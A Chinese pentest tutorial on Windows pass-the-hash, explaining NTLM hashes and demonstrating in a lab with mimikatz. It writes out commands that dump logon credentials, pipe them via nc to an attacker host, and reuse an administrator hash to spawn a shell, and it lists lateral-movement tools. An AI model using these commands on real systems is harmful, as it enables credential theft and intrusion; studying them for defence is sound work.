pass the hash原理
在Windows系統中,通常會使用NTLM身份認證,NTLM認證不使用明文口令,而是使用口令加密后的hash值,hash值由系統API生成(例如LsaLogonUser) ,其中hash(哈希)分為LM hash和NT hash,如果密碼長度大於15,那么無法生成LM hash。
從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash,如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程)
pth如何利用
演示:
靶機:win08 r2
攻擊:win08 r2
1.靶機中進行讀取NTLM HASH:

這里使用mimikatz還有些技巧如:
1、以日志文件生成保存在當前文件夾中log.txt 並且再列出目錄
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
2、自定義保存在log.txt中
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
3、將輸出傳輸到遠程機器:
攻擊者:nc nc -lvp 4444
受害者:mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444
2.攻擊機執行:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0"

會反彈一個cmd窗口回來 發現hash成功傳遞!!!
同樣也可以直接執行命令mimikatz.exe privilege::debug "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0 /run:\"cmd /c whoami\"" exit

技巧::NTLM Hash = LM Hash + NT Hash,LM Hash是E19CCF75EE54E06B06A5907AF13CEF42時,可能密碼為空或者沒有存儲LM hash,2008默認不存儲LM hash。pth 用nt hash,有些工具可能需要lm hash:nthash格式,沒有lm hash可以使用任意32個字符填充,所以我們可以這樣進行00000000000000000000000000000000:E19CCF75EE54E06B06A5907AF13CEF42,只要前32位存在就行
pth總結:
在內網滲透中,當我們能夠讀取ntlm,但是發現抓取不到明文的時候,可以通過hash傳遞的方式進行橫向移動。
對於哈希傳遞不只是通過mimikatz,還可以通過wce,impacket工具包等等進行攻擊。
能夠實現Pass The Hash的工具:
Smbmap
CrackMapExec
Smbexec
Metasploit(exploit/windows/smb/psexec_psh )
wmiexec
Invoke-WMIExec
Invoke-SMBExec
mimikatz(Overpass-the-hash)
